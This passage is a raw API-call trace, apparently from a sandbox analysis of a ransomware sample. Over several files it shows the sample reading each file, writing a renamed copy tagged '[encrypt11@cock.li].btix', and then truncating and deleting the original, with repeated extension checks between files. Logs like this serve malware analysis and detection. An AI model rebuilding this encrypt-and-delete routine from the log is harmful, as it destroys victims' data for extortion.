SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.040] SetEndOfFile (hFile=0x320) returned 1 [0044.041] CloseHandle (hObject=0x320) returned 1 [0044.041] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.041] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0044.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.042] lstrlenW (lpString=".doc") returned 4 [0044.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.042] lstrlenW (lpString=".docx") returned 5 [0044.042] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0044.042] lstrlenW (lpString=".pdf") returned 4 [0044.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.042] lstrlenW (lpString=".xls") returned 4 [0044.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.042] lstrlenW (lpString=".xlsx") returned 5 [0044.042] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0044.042] lstrlenW (lpString=".ppt") returned 4 [0044.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.042] lstrlenW (lpString=".zip") returned 4 [0044.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.042] lstrlenW (lpString=".rar") returned 4 [0044.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.042] lstrlenW (lpString=".bz2") returned 4 [0044.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.042] lstrlenW (lpString=".7z") returned 3 [0044.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.042] lstrlenW (lpString=".dbf") returned 4 [0044.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.042] lstrlenW (lpString=".1cd") returned 4 [0044.042] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.043] lstrlenW (lpString=".jpg") returned 4 [0044.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.043] lstrlenW (lpString=".doc") returned 4 [0044.043] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString=".docx") returned 5 [0044.043] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0044.043] lstrlenW (lpString=".pdf") returned 4 [0044.043] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString=".xls") returned 4 [0044.043] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString=".xlsx") returned 5 [0044.043] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0044.043] lstrlenW (lpString=".ppt") returned 4 [0044.043] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.043] lstrlenW (lpString=".zip") returned 4 [0044.043] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.043] lstrlenW (lpString=".rar") returned 4 [0044.043] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString=".bz2") returned 4 [0044.043] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString=".7z") returned 3 [0044.043] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.043] lstrlenW (lpString=".dbf") returned 4 [0044.043] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.043] lstrlenW (lpString=".1cd") returned 4 [0044.043] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0044.043] lstrlenW (lpString=".jpg") returned 4 [0044.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.044] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.044] lstrlenW (lpString="LocalizedData.xml") returned 17 [0044.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.044] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=79996) returned 1 [0044.044] CloseHandle (hObject=0x320) returned 1 [0044.044] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0044.044] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.044] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.044] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.045] GetLastError () returned 0x0 [0044.045] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1387c, lpOverlapped=0x0) returned 1 [0044.098] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x13880, lpOverlapped=0x0) returned 1 [0044.100] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0044.100] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf6, lpOverlapped=0x0) returned 1 [0044.100] SetEndOfFile (hFile=0x328) returned 1 [0044.100] CloseHandle (hObject=0x328) returned 1 [0044.102] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.102] SetEndOfFile (hFile=0x320) returned 1 [0044.103] CloseHandle (hObject=0x320) returned 1 [0044.103] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.103] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0044.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.104] lstrlenW (lpString=".doc") returned 4 [0044.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.104] lstrlenW (lpString=".docx") returned 5 [0044.104] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0044.104] lstrlenW (lpString=".pdf") returned 4 [0044.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.104] lstrlenW (lpString=".xls") returned 4 [0044.104] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.104] lstrlenW (lpString=".xlsx") returned 5 [0044.104] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0044.104] lstrlenW (lpString=".ppt") returned 4 [0044.104] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.104] lstrlenW (lpString=".zip") returned 4 [0044.104] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.104] lstrlenW (lpString=".rar") returned 4 [0044.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.104] lstrlenW (lpString=".bz2") returned 4 [0044.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.104] lstrlenW (lpString=".7z") returned 3 [0044.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.104] lstrlenW (lpString=".dbf") returned 4 [0044.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.104] lstrlenW (lpString=".1cd") returned 4 [0044.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.105] lstrlenW (lpString=".jpg") returned 4 [0044.105] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.105] lstrlenW (lpString=".doc") returned 4 [0044.105] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString=".docx") returned 5 [0044.105] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0044.105] lstrlenW (lpString=".pdf") returned 4 [0044.105] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString=".xls") returned 4 [0044.105] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString=".xlsx") returned 5 [0044.105] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0044.105] lstrlenW (lpString=".ppt") returned 4 [0044.105] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.105] lstrlenW (lpString=".zip") returned 4 [0044.105] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.105] lstrlenW (lpString=".rar") returned 4 [0044.105] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString=".bz2") returned 4 [0044.105] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString=".7z") returned 3 [0044.105] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.105] lstrlenW (lpString=".dbf") returned 4 [0044.105] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.105] lstrlenW (lpString=".1cd") returned 4 [0044.105] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0044.105] lstrlenW (lpString=".jpg") returned 4 [0044.105] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.106] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.106] lstrlenW (lpString="UiInfo.xml") returned 10 [0044.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.106] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=39042) returned 1 [0044.106] CloseHandle (hObject=0x320) returned 1 [0044.106] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0044.106] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.107] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.107] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.107] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.107] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.108] GetLastError () returned 0x0 [0044.108] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x9882, lpOverlapped=0x0) returned 1 [0044.222] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x9890, lpOverlapped=0x0) returned 1 [0044.223] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0044.223] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe8, lpOverlapped=0x0) returned 1 [0044.223] SetEndOfFile (hFile=0x328) returned 1 [0044.223] CloseHandle (hObject=0x328) returned 1 [0044.224] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.225] SetEndOfFile (hFile=0x320) returned 1 [0044.225] CloseHandle (hObject=0x320) returned 1 [0044.225] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.226] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.226] lstrlenW (lpString=".doc") returned 4 [0044.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.226] lstrlenW (lpString=".docx") returned 5 [0044.226] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.226] lstrlenW (lpString=".pdf") returned 4 [0044.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.226] lstrlenW (lpString=".xls") returned 4 [0044.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.226] lstrlenW (lpString=".xlsx") returned 5 [0044.226] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.226] lstrlenW (lpString=".ppt") returned 4 [0044.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.226] lstrlenW (lpString=".zip") returned 4 [0044.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.226] lstrlenW (lpString=".rar") returned 4 [0044.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.226] lstrlenW (lpString=".bz2") returned 4 [0044.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.226] lstrlenW (lpString=".7z") returned 3 [0044.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.226] lstrlenW (lpString=".dbf") returned 4 [0044.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.227] lstrlenW (lpString=".1cd") returned 4 [0044.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.227] lstrlenW (lpString=".jpg") returned 4 [0044.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.227] lstrlenW (lpString=".doc") returned 4 [0044.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.227] lstrlenW (lpString=".docx") returned 5 [0044.227] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.227] lstrlenW (lpString=".pdf") returned 4 [0044.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.227] lstrlenW (lpString=".xls") returned 4 [0044.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.227] lstrlenW (lpString=".xlsx") returned 5 [0044.227] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.227] lstrlenW (lpString=".ppt") returned 4 [0044.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.227] lstrlenW (lpString=".zip") returned 4 [0044.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.227] lstrlenW (lpString=".rar") returned 4 [0044.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.227] lstrlenW (lpString=".bz2") returned 4 [0044.228] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.228] lstrlenW (lpString=".7z") returned 3 [0044.228] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.228] lstrlenW (lpString=".dbf") returned 4 [0044.228] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.228] lstrlenW (lpString=".1cd") returned 4 [0044.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0044.228] lstrlenW (lpString=".jpg") returned 4 [0044.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.228] lstrcmpiW (lpString1=".bmp", lpString2=".btix") returned -1 [0044.228] lstrlenW (lpString="header.bmp") returned 10 [0044.228] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.263] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3628) returned 1 [0044.263] CloseHandle (hObject=0x318) returned 1 [0044.264] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0044.264] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.264] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.264] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.264] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.264] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0044.284] GetLastError () returned 0x0 [0044.284] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xe2c, lpOverlapped=0x0) returned 1 [0044.459] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe30, lpOverlapped=0x0) returned 1 [0044.460] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0044.460] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe8, lpOverlapped=0x0) returned 1 [0044.460] SetEndOfFile (hFile=0x2d8) returned 1 [0044.460] CloseHandle (hObject=0x2d8) returned 1 [0044.461] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.461] SetEndOfFile (hFile=0x318) returned 1 [0044.462] CloseHandle (hObject=0x318) returned 1 [0044.462] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.462] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0044.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.462] lstrlenW (lpString=".doc") returned 4 [0044.462] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0044.462] lstrlenW (lpString=".docx") returned 5 [0044.462] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0044.462] lstrlenW (lpString=".pdf") returned 4 [0044.462] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0044.462] lstrlenW (lpString=".xls") returned 4 [0044.462] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0044.462] lstrlenW (lpString=".xlsx") returned 5 [0044.462] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0044.462] lstrlenW (lpString=".ppt") returned 4 [0044.462] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.463] lstrlenW (lpString=".zip") returned 4 [0044.463] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString=".rar") returned 4 [0044.463] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString=".bz2") returned 4 [0044.463] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString=".7z") returned 3 [0044.463] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0044.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.463] lstrlenW (lpString=".dbf") returned 4 [0044.463] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.463] lstrlenW (lpString=".1cd") returned 4 [0044.463] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0044.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.463] lstrlenW (lpString=".jpg") returned 4 [0044.463] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.463] lstrlenW (lpString=".doc") returned 4 [0044.463] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString=".docx") returned 5 [0044.463] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0044.463] lstrlenW 